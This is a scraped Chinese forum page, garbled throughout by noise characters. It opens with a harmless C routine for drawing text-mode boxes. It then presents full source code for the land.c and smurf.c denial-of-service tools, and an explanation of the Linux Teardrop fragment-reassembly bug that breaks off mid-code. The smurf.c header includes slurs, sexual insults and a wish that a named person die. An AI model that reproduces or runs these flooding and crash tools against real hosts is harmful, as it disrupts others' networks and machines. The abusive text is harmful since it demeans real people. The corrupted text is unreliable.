  Q* [1 H( y$ ^3 h" Fbox(5,5,15,71);
. w, p5 B% z/ q, ^4 r# ^4 Obox(6,6,13,69);
  }' A% X3 A' J& w7 q9 ^  v! Nbox(7,7,11,67);7 P8 A6 `, u/ D1 a; T9 l
box(8,8,9,65);+ J$ z% Z! h  v) @. y( ?
box(9,9,7,63);* f. a; J  f( E. ?2 X
box(10,10,5,61);# C2 L5 I0 t# B2 o
box(11,11,3,59);" f/ H; O5 c- P$ Q' ^) d
box(12,12,1,57);
9 p; A- F, F/ u& f9 m# Vposcur(24,1);, x* a8 m) ~0 U+ V- H- y9 P
}</FONT></P><><FONT color=#009900>/************************************************************( U* Y7 Q+ S: Z$ M( f: l
* BOX *5 Q; Q  X8 A1 h6 b) F' Y' }! _8 V: b
*----------------------------------------------------------*" @6 J2 w$ s. V- p3 s2 b
* Written by: Jeff Ebert 7/01/87 *, O' p4 L: M+ h1 u6 z& ]5 G
* Modified by: xxxxxxxxxx *4 Y' S% u6 M  E! j
* *! ?6 y/ E, m" [( w8 \
* Please modify me! *
  w( v9 ^4 a2 u! k* Possible Enhancements include but are not limited t *
, a% G8 J1 K7 E3 T, c, y$ E/ H" C, j* 1) Variable box character styles [1 line or 2] *
+ n- A4 l( Z  O9 f4 ?* 2) Error checking *" |+ r0 W, G+ f5 H0 Q
* 3) Color options *
; ?- m' v4 H! i* *
3 v8 W! w1 P$ _1 [/ b* *
2 G4 V/ _7 {- q6 H, q) u. \* This function builds a simple double frame for a menu. *
8 C! ]: l* j( T- I* The function is passed the parameters for the upper *0 |8 i9 U; J* b2 e: {  D1 I8 V& g
* left corner row, upper left corner column the height ** H" }) r8 n& q2 b3 S- M. b5 [
* of the frame and the width. *
# Y& y: j7 p/ f2 E* *
" e3 E% L8 o, L& {************************************************************/1 S' Y2 d# s$ D  }
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2013 {9 v2 g; i+ t( K1 f
#define URCOR 1875 n' D  R4 J  l. ^. T; D: `0 ]
#define LLCOR 2009 @9 ?. d& I6 |# F+ |9 t
#define LRCOR 188
* y9 G; R+ r( G: T#define VBAR 186
( ?/ d- f2 [" _- o& F#define HBAR 205
. e. A! U1 p9 }. t$ ^#define ESC 27</FONT></P><><FONT color=#009900>1 `# m9 S: y! t/ ?; w( h2 q
box(row, col, hgt, wdth)
) j$ N" K" _4 z; q5 [* ^" {6 ~: Iint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{. t+ \, B, {) L" B3 }0 y& C
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
; ]* q# y2 E/ Q+ r0 F+ jputchar(ULCOR);. C2 K2 Y0 @8 T) d* t+ m) T% j: w$ _1 E
for(x = col + 1; x &lt;=(col + wdth -1); x++)
) l1 j+ o4 k9 c; z4 W: i" p) Rputchar(HBAR);
) d( u$ Y9 L& L% e+ C  j" Vputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
: ^3 M% [* M, E- q: D( _poscur(x,col);
' W2 z% T' X6 D/ t5 }' L8 d; rputchar(VBAR);) @$ e% a' q% t" b
poscur(x,col+wdth);* c/ ~/ A7 p+ k/ i
putchar(VBAR);1 L8 H( V3 x- w5 N# S
}& O1 z$ q4 d* k. Z/ ?7 j
poscur(x,col);
5 l0 z- q6 g5 E; ^putchar(LLCOR);
# u* w: p9 L" Y5 }$ ?7 K+ ~4 l' L7 Tfor(x= col + 1; x &lt;=(col + wdth -1); x++)
& m9 W$ w3 B9 e* jputchar(HBAR);  K- o, R: _% r5 V
putchar(LRCOR);
$ [# i; o" h4 ]! U}</FONT></P><><FONT color=#009900>/********************************************************
2 g& I4 C/ w8 ]0 q. E* q* POSCUR *
( K+ t  C6 h6 _- J*------------------------------------------------------*
' D7 l' n& N3 g/ _1 z* This function positions the cursor at the specified *
8 Y2 k" Z2 l- W' }& u* x,y coordinate. It uses the ANSI standard ESCAPE *
" M$ Z4 x5 K+ ~) i0 }" G* sequence to produce the desired effect. Its not the *( a$ R+ ]- O, T) b8 Y
* fastest way to position the cursor, but perhaps the *0 ?+ W9 l0 R4 g5 R% f
* most portable. ** D6 S4 Y' [- v4 m: A5 Z+ i
* *
2 w5 y& @- @* ^1 w4 H********************************************************/
: k+ w0 O0 x6 y5 V, {2 hposcur(xcor,ycor)
3 Q# @$ [; ]6 K% j- L0 x# Y  k; Bint xcor,ycor;
8 y$ {- Q: A  I( N! C{
: `6 W* `+ Z3 {printf("%c[%d;%dH",ESC,xcor,ycor);
2 }( Y8 C$ N3 O}</FONT></P><><FONT color=#009900>
9 _9 q- [9 Q( p9 Z2 w' J/********************************************************
2 U: b9 n5 @" n) \) I  \* CLRSCR *- e0 o5 u2 ?3 `" V8 P
*------------------------------------------------------*7 D5 X3 _# j2 d4 N
* This function positions the cursor at the specified *: V3 s& [& P3 P
* x,y coordinate. It uses the ANSI standard ESCAPE *
: m2 y! n% j1 A7 H  {5 ^5 z* sequence to produce the desired effect. Its not the *$ \' F+ A# g  E0 b, I+ o- d) w& V2 q3 V
* fastest way to position the cursor, but perhaps the *
% b) T$ u2 r4 X  l  E) K* most portable. *
& q/ a" |1 e8 f- _9 r; g; W* *
3 \/ \/ u! g5 N/ M********************************************************/
( |  q8 c& {0 x( W8 D) a( C' ~clrscr()
7 d6 Q. ?9 {& X4 @8 L5 Q{
/ o8 h& N: }' n+ V5 v3 kprintf("%c[2J",ESC);! N$ c, |% |- I2 c2 m
}</FONT>
6 q9 x1 _! p- ~# C5 K' e) {</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract' q* `/ v; E) H+ _
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自5 u) l) `2 c* f5 {5 h
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>2 \; n' B7 ^1 k1 {& S( Y* d: W0 l8 `
<FONT color=#009900>/* land.c by m3lt, FLC
( A6 R& [% o" b! R4 icrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H># b# H2 H  J, A. w0 }8 o# }$ ]
#include <NETDB.H>5 w0 y, c% M' O( k
#include <ARPA inet.h>8 v7 Y, d- E8 A  N$ Q( w" W
#include <NETINET in.h>0 i' s, y+ G! i' H. r$ ]
#include <SYS types.h>$ c1 Z4 u. W" U3 r* A  G9 q
#include <SYS socket.h>
. Y# c: O& o! \#include <NETINET ip.h>
1 w& |2 h/ p6 p: [* r#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
9 ~  r7 l, |$ o# c, L* Ostruct pseudohdr
0 i3 D$ F7 o" Z2 F{
( V- h/ q+ \; m: i3 Cstruct in_addr saddr;6 ?' }7 H" d5 ]1 V; i6 P& r9 V
struct in_addr daddr;+ B4 R  I# _: Z1 g" `
u_char zero;% a3 ]6 K! I' Y- G! l2 o
u_char protocol;
4 J" K! w- @% i0 \: g( Fu_short length;
$ h- G/ x: z* W% u1 mstruct tcphdr tcpheader;0 p: Q+ G! }! }1 R  J
};</FONT></P><><FONT color=#009900>//计算IP校验和2 {. O6 a8 ^0 _) ^' _
u_short checksum(u_short * data,u_short length)9 x2 C8 h& f9 T9 Q
{
" Y" c: ?, j: K0 s% [3 [register long value;1 ?6 u9 e- [- U- W3 |
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)+ A" M; G; {5 v  Y
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)  T0 w- Q# t: {5 f2 p! _* E8 a+ Y" p
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
9 r$ p3 H& w5 }/ c& B7 A}</FONT></P><><FONT color=#009900>7 z- [" L' E. z5 H8 G
int main(int argc,char * * argv)
( j. F& a8 ^/ @/ s! K& Y) U{2 j6 b% i% {  i) D) p
struct sockaddr_in sin;) W9 N! u( `7 `0 u: O% I
struct hostent * hoste;
( Q# w. z' l! O' c) D% w! J# F) X& Bint sock;
* E2 h0 D# {6 ?2 Qchar buffer[40];
# \" w7 x! A' D) k& j) [6 @: Ostruct iphdr * ipheader=(struct iphdr *) buffer;7 d8 {# S1 u  b, q
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
# h& a3 e! J: mstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
$ A/ m, m4 G' F, q0 I0 t{* P; |% `/ v& V- z+ H& h
fprintf(stderr,"usage: %s IP port\n",argv[0]);5 I2 F" t; {; e1 w$ n
return(-1);
2 D/ M9 i% v2 }}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
- h% A! n# j4 f$ `9 ]4 I2 |1 ssin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)5 L# s* l( K! A
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
# L, Y, E6 S5 d8 T0 z# Yelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)# O) X( a2 M$ O' g6 r+ |# r0 g
{$ r* O3 ^6 k. j' {  g8 n% w
fprintf(stderr,"unknown host %s\n",argv[1]);
- X3 Q8 B0 W% ^return(-1);
" }) V* I9 J6 T) L; r$ E  O- ~8 S7 |}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
/ \3 [* ?% W- P: Q{
/ Y+ L. ]2 J% b6 |) Tfprintf(stderr,"unknown port %s\n",argv[2]);
/ _  R6 b* j. ]return(-1);$ u* }9 I* h$ q$ H3 p$ P
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
# n0 q  K  @) mif((sock=socket(AF_INET,SOCK_RAW,255))==-1)% t  n8 P/ q8 q
{# |, [5 D9 O/ ^8 q4 B, W; Q5 V! }
fprintf(stderr,"couldn't allocate raw socket\n");3 r1 u4 C! }, \0 `; @% r0 z. ^& S& o+ U
return(-1);! p. X/ y' J1 E( F5 w0 k
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));, [& ]. G$ J: h5 B/ r2 s3 Z4 Y
ipheader-&gt;version=4;3 |8 l0 [% u9 n
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
2 L% W: d0 ^1 f2 Z0 x3 E+ i9 Q& D0 kipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
9 i' Q- s" X- [! o6 K5 ]8 ]2 c: [ipheader-&gt;id=htons(0xF1C);: r* S: J+ m" e/ h# ^$ j
ipheader-&gt;ttl=255;/ v- \3 g. M- N7 x- v& ^
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
8 s2 t, L# r3 R) Uipheader-&gt;saddr=sin.sin_addr.s_addr;
. K, J! D( |% Y' \ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
, i' h3 B! T1 f% o% otcpheader-&gt;th_sport=sin.sin_port;
! b+ K, y( y& q7 atcpheader-&gt;th_dport=sin.sin_port;  Q, r8 l' `# l2 M+ f
tcpheader-&gt;th_seq=htonl(0xF1C);9 N% K7 z! F+ Q& f, t/ j
tcpheader-&gt;th_flags=TH_SYN;9 i. M" w6 I, f3 r# ~
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
9 ]. M2 y" s4 p! M2 Z4 Otcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));6 K5 ?" z% S- A8 H9 j7 B
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;9 v; z, r4 A# t# m. W9 L/ k7 r
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;3 e2 A# \0 j2 O* d
pseudoheader.protocol=6;
# T) x0 C" y0 a- [2 u" P0 x6 j( t) m0 epseudoheader.length=htons(sizeof(struct tcphdr));7 ?6 Q1 M: M( @8 `3 o
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));, n% M5 }& k9 B/ Y# l+ S( R
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),% n- I. n, e- `- L3 \* F3 w
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
+ `2 C: f. F+ l! K6 g( Y/ b{
( X- n5 b$ u' R. l, L3 Nfprintf(stderr,"couldn't send packet\n");8 Y4 B8 b9 ]  I1 C0 h$ ]8 e
return(-1);
! I: n4 s* x# `}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
# Q5 u% c& Q& Ireturn(0);' V, w$ p# G8 y) `: x5 Y2 Y
}</FONT></P><>
9 W# m* }, [( M$ z6 b2 Smurf
" u9 v% @; n, Zsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数* K& m4 b. a% `
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包- ~3 u. ]: Z- X% _9 A
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
( i7 b# Y; }$ b( |  w6 U( Iicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
0 Y- k- w( {8 W! t' X(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
6 c) A+ j8 Z, d  R' r' U成不可能(没有WINS服务器时)。</P><P>/*$ Y/ w' G; E3 y4 x
*# v9 z9 P" y( A6 Y) g
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $$ c& a) P, k' W  |1 l) a3 L7 f
*, ~" {+ e! u" E: w2 `
* spoofs icmp packets from a host to various broadcast addresses resulting1 o7 B3 o+ _% Z6 H0 F- P
* in multiple replies to that host from a single packet.
+ t# u. h6 ^1 d% ~; X5 s. u$ \*
9 a( R6 [: R7 D$ j4 f( ~$ n* mad head t) l2 L, R- B1 `5 p9 ?3 [
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,/ O0 H( g( G5 P4 W* @
* MissSatan for swallowing, napster for pimping my sister, the guy that
; O; F7 T2 N( U8 B) f* invented vaseline, fyber for trying, knowy, old school #havok, kain1 C1 e3 E4 R  ]  A4 K
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
% ?. W8 [% {) o6 ^' A$ Y/ p* have missed (you know who you are).
) d' f8 Q5 }' o. b' x* I& T8 C*
6 y7 ^7 ?. U( a: Z* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
/ ~1 O1 s1 e* a* W* thing he is (he's -almost- as stubborn as me, still i managed to pick up
0 J- @/ B4 U$ i2 S/ z1 _1 Q( K* half the cheque).
6 ~4 L  L3 f- h8 z  O, b*6 q. O. N/ O0 z9 Q$ m1 A3 F( g( r; q
* and a special hi to Todd, face it dude, you're fucking awesome.( Y9 d: f. F- N. |' Q
*
* m3 }' a# y+ w4 g* mad anal t  M5 i5 q5 R0 ?8 N4 l
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps. E6 P) {( \! {4 f
* because they plain suck, Rolex for being a twit, everyone that" u' Y' Y4 I: j2 o4 s+ w
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
8 D: |; I  T# ?! {- q" c* partner, #cha0s, sedriss for having an ego in inverse proportion to
2 ?( \0 F5 u1 r- S. _% f1 H* his penis and anyone that can't pee standing up -- you don't know what3 X, c( U/ y* a. \, S- u
* your missing out on.4 C) r0 b7 A, Z/ S7 K! m
*
1 j5 Z# u9 o' c, A2 `* and anyone thats ripped my code (diff smurf.c axcast.c is rather
; c# D- n0 b5 O* ~( I1 c+ a* interesting).+ F. r7 ~+ M: C. p. }. H
*0 `! k9 {/ h; H
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
" K8 _  _6 @7 r' |9 G* Robbins for trying to steal my girlfriend. Not only did you show me4 o  t: S- S# m/ K
* no respect but you're a manipulating prick who tried to take away the9 p- N: S8 \, f) \2 ^- Q
* most important thing in the world to me with no guilt whatsoever, and) s4 s! ?- a8 h, ~
* for that I wish you nothing but pain. Die.
  q1 S, z- N' e; v2 p. n4 f8 u: O*9 k7 C5 N" K& ^- A, A
* disclaimer:
$ D9 c, P8 J1 |/ X( t- @1 }6 ~* I cannot and will not be held responsible nor legally bound for the# X3 X9 j- X, o' T8 J1 q
* malicious activities of individuals who come into possession of this' R. c4 U5 L6 Y) U3 Y
* program and I refuse to provide help or support of any kind and do NOT
) O% r  a; R) G+ a6 H* condone use of this program to deny service to anyone or any machine.) s/ @0 C  c  s/ |8 w; d7 B
* This is for educational use only. Please Don't abuse this.
) A- q3 q2 v+ |*- u# I, \1 `9 X& W
* Well, i really, really, hate this code, but yet here I am creating another
. y2 t1 t+ J& h; L9 j  @' G* disgusting version of it. Odd, indeed. So why did I write it? Well, I,: K3 O0 e' M' u
* like most programmers don't like seeing bugs in their code. I saw a few
4 s- K: U: W! C6 }7 V* things that should have been done better or needed fixing so I fixed$ r8 s+ s4 x6 S0 c6 q/ A: c2 Z" w0 l
* them. -shrug-, programming for me as always seemed to take the pain away
0 Y; H* P1 C8 W* ...3 ~  j7 V+ u) P7 f- d$ O& }
*. x/ k; E, X$ C4 Q5 q! |# R$ T1 p
*
- j0 b; R4 x  p' n*/</P><P>#include <SIGNAL.H>( v  o3 ^; s9 v1 {8 ^3 ~$ F3 ^1 a
#include <STDIO.H>
9 u- S3 E" [: B! B" X#include <STDLIB.H>
/ T: ?1 S: d$ F# ]: D1 Y& D#include <SYS socket.h>
( I) Z9 }) ^/ |1 _8 `; d/ ~* H# N#include <SYS types.h>
2 p) S" y: D+ i$ j#include <NETINET in.h>
/ d+ Z; k: p( q( Z5 I6 P#include <NETINET ip.h>
* D% |/ }% U; |+ d7 V' V$ d3 P& f#include <NETINET ip_icmp.h>2 y! [# t. ?6 x3 j- L- g( o2 g
#include <NETDB.H>
+ D1 R& C1 O! J: I#include <CTYPE.H>
% y( r( N  V" F  k#include <ARPA inet.h>4 O% r2 H2 I, `
#include <UNISTD.H>
  w& D7 n0 L* s2 a8 m#include <STRING.H></P><P>void banner(void);
2 s. w6 i: h; r) W2 n) Nvoid usage(char *);" }  s: @8 {8 a5 U  j" m
void smurf(int, struct sockaddr_in, u_long, int);
' @+ j5 V8 {  j( s$ Wvoid ctrlc(int);; ^; A6 K0 S: j; s3 {. Q3 M
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
# ]- T. x0 b: Schar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
; e+ F  k1 w9 g{
& y( V  k% Q5 p; A6 x* L1 j7 Qstruct sockaddr_in sin;* q  f  v2 t% ]7 ]( y
struct hostent *he;
$ l7 e1 O- l- k) l) T7 a: y$ `FILE *bcastfile;
0 H0 m% k7 Q: i8 E$ rint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
7 c( E2 @5 n& |9 Jchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();' X( b1 K# y3 I$ z" \" Q
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
7 _1 n9 H& v) _perror("resolving source host");
  G% Z: g2 s- f* A; C2 |6 W" Oexit(-1);* _, G" I4 O( J! {: F; Z0 n
}) P1 ?/ \  }) M2 v/ d" [
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
$ d% g4 C$ m7 r. ^3 J' ~" t6 wsin.sin_family = AF_INET;( H" H5 c8 r8 S2 z' {0 \
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
. t0 K; y: g- V7 t0 ]' T" Cdelay = atoi(argv[4]);' J% q9 E! t2 S8 b
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
3 b4 t) Q. N7 l4 @- E# i! C4 nperror("opening bcast file");0 F+ i+ z/ m1 T( _; u& v7 f; Q) D
exit(-1);9 u. r" G/ f; x$ u/ y. ^
}
( P+ b8 n& B0 I2 u# E- W. |x = 0;
: q/ W$ Y. N7 c6 }! W5 D9 z5 ?+ wwhile (!feof(bcastfile)) {
% \7 J7 b/ t4 vfgets(buf, 32, bcastfile);
4 S+ n# [0 a! j9 d* k7 M" ]% _5 g. |if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
3 ?: `5 z2 c' [for (i = 0; i &lt; strlen(buf); i++)
5 a2 O% s& j/ ~* a1 i# Fif (buf == '\n') buf = '\0';
4 K; x* m$ @% T# @5 ibcastaddr[x] = malloc(32);. v( o9 a' C  |9 b& A, S
strcpy(bcastaddr[x], buf);$ B+ d- A5 y0 y: t. ?3 [. S5 H
x++;; w% |* Q- \; w5 \- h' A
}+ ^. d0 W) u. x/ T0 G# Z
bcastaddr[x] = 0x0;7 _9 j/ O; e: I. w- u3 ^# ]
fclose(bcastfile);</P><P>if (x == 0) {
  O9 V$ }% Q0 x5 E' n  r' X* X1 Kfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
* ^( E0 U* F! e2 z0 x+ fexit(-1);8 D7 [3 z1 x4 M9 U8 W% t" c3 L7 J
}
# O9 V9 m3 z0 g: K( Q% @& ^if (pktsize &gt; 1024) {% K- P4 B9 D; }' \' B6 j( J
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");* j4 J4 S" m8 T- y5 A% c0 S
exit(-1);6 n1 \0 ~( w0 G& G" i
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {2 [% F/ Q3 P/ ^- i+ m5 Y" i
perror("getting socket");7 B% a, S; n& E& Q5 S+ `: b; j! p
exit(-1);/ j5 }' Z% o  R( P" Y9 m: p
}& T4 o) |0 T9 Y; w
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {! @% f+ x, S* z' |, [. d
if (!(i % 25)) { printf("."); fflush(stdout); }6 F5 [  k! {5 A( z4 x# K
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
, p5 Q8 o) h7 E6 [3 `6 f/ r, M  Ycycle++;
) [) M$ C; l. tif (bcastaddr[cycle] == 0x0) cycle = 0;  O! U4 {& Y. u
usleep(delay);" Q- e9 Y+ \& r+ {
}
' H# S$ j0 L. tputs("\n\n");
5 h2 L; ]" G) S! F* k5 Yreturn 0;/ f! l" X/ K/ B4 j( j3 V# }# D2 e
}</P><P>void banner (void)! h6 Y2 [6 f: y1 i
{
+ Q, E6 P' c/ D0 W% {+ O3 u1 ?puts("\nsmurf.c v4.0 by TFreak\n");- i1 o# s  d! G5 N1 r
}</P><P>void usage (char *prog)4 F/ a! e& \) e6 X6 u  d2 N2 b# e
{! j4 v, K$ r- _) M7 }! h3 i! T" U
fprintf(stderr, "usage: %s <TARGET><BCAST file>", U" ^7 I! `" K+ F) L
"<NUM packets> <PACKET delay><PACKET size>\n\n"
! `- d% E" _: {; U& G"target = address to hit\n"
$ c, m; g! r+ z" {9 U+ n"bcast file = file to read broadcast addresses from\n"
4 p3 Q- m; [* K0 W. I% M- g% |8 P"num packets = number of packets to send (0 = flood)\n"; q7 M. [" E& V( g9 e! o3 W
"packet delay = wait between each packet (in ms)\n"
1 U; x" B% Q7 ~& O# C! D"packet size = size of packet (&lt; 1024)\n\n", prog);
" E5 c- O& Q$ A# {: pexit(-1);
$ w4 s- L0 Y5 y' X9 G}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  ]  Z. J3 T1 l{
& D9 c( K) n* m5 C' Ustruct iphdr *ip;/ \, q/ n1 b: e7 w% ?5 w% ~
struct icmphdr *icmp;
' u0 _6 j7 a4 Achar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
' ~! H( a( Y6 Kip = (struct iphdr *)packet;
" X& o! z* {" m3 Ficmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
* z/ }1 e# i( zip-&gt;ihl = 5;+ A% ^! K7 w0 Y4 T. v4 ]
ip-&gt;version = 4;/ L+ A* z, Q( j( M& d
ip-&gt;ttl = 255;$ L5 p' G' p3 ]) C* q! K' b+ m
ip-&gt;tos = 0;( d: l3 ?0 o4 D) C0 D6 g; Q
ip-&gt;frag_off = 0;
4 q1 R7 X3 K! j! j- K4 Rip-&gt;protocol = IPPROTO_ICMP;
: D3 D, O. a  K& Q) kip-&gt;saddr = sin.sin_addr.s_addr;* o' m) y3 g) K) A6 Q
ip-&gt;daddr = dest;
4 k4 m- `. ~9 S; e; `: l! `ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));' |1 h$ d3 x/ ^7 V5 E
icmp-&gt;type = 8;
* w" o" f1 [  [5 Y( kicmp-&gt;code = 0;
/ b* r9 @/ J' E8 @* hicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,8 x" H8 D4 S% P8 Q- V5 c7 ^
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */# H( v0 K% c, ~6 J0 g
}</P><P>void ctrlc (int ignored)
, E) S" B% _% M( V2 r{6 j, q( g: j4 J& E. J- f
puts("\nDone!\n");$ @; o6 J6 T! s$ i" F# u# h
exit(1);
! v1 B3 `3 G5 O* B. c/ {. u}</P><P>unsigned short in_chksum (u_short *addr, int len)
& c$ B' C+ s( y- t7 P& H{
9 e& {, E: l: d( Yregister int nleft = len;* r4 `% t  H2 H
register int sum = 0;
& z0 C  `- X* ]! E9 Z, W* }( ~; ?u_short answer = 0;</P><P>while (nleft &gt; 1) {
* }8 N4 L. f/ K/ V5 x$ [sum += *addr++;) L: y/ g# l9 V: m* {4 K
nleft -= 2;
$ `, E" q9 V. f- }3 S, M}</P><P>if (nleft == 1) {& d, e( A# @. h* d$ F) S
*(u_char *)(&amp;answer) = *(u_char *)addr;
  `- C+ V3 _  p- j% W8 C4 Rsum += answer;" V7 ]! d, U3 P; S  \) M
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);, v4 Y6 Y4 z4 Y
sum += (sum &gt;&gt; 16);
( H, G. P5 p; c4 s/ ?answer = ~sum;
  z1 |$ T' q! P- z9 Z3 Q! d+ r6 Hreturn(answer);$ _% F- I6 j) O7 I8 l
}</P><P>/ ]! R* P; @& S3 Z. j2 a8 B
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:8 t" x: n& g2 f& D% o8 S* ]' {
fp = qp-&gt;fragments;- S' z* e0 W5 q: Y$ _: u& S; W
while(fp != NULL): W% K* J6 O' }3 P
{
+ f: a0 N5 |( K/ P. qif(count+fp-&gt;len &gt; skb-&gt;len)* J" Z4 h* F  ~+ T
{
' B: {1 w7 K; U/ N' D: Xerror_to_big;. k( y7 N% O5 L7 J8 ]+ }) f; a
}
" a% l, x9 C7 rmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
) S& O4 D7 A1 Q: Z2 J  hcount += fp-&gt;len;) c# m4 w- d" {1 y+ D& J" N
fp = fp-&gt;next;( C% Q6 |* J$ Z8 i, S3 i% R3 m
}* C4 a- l" V: ?( i3 j1 V
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
. Z( o. w# h. d" `% w, k如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:4 q! `5 z* n) q1 @( `+ N4 c
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
  S1 {/ ]5 x( X是这样处理的:
) q4 U% p& P! c6 D4 Bif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)5 @- n! U3 l; M5 i  a
{+ i) u. F1 W( c4 k' o
i = prev-&gt;end - offset;
, f3 j$ Q4 [6 g$ }+ e+ T/ Loffset += i; /* ptr into datagram */1 C7 I; i) X. q) O( m6 ?) X0 t
ptr += i; /* ptr into fragment data */
* y/ n, G  f6 g4 Z5 Q4 c- V}</P><P>/* Fill in the structure. */$ L4 J  u. X& z! r! l" j1 C$ ?( O
fp-&gt;offset = offset;" X' }! o5 C: C( R2 A
fp-&gt;end = end;8 L0 j5 e* s/ x2 W) R1 _3 y
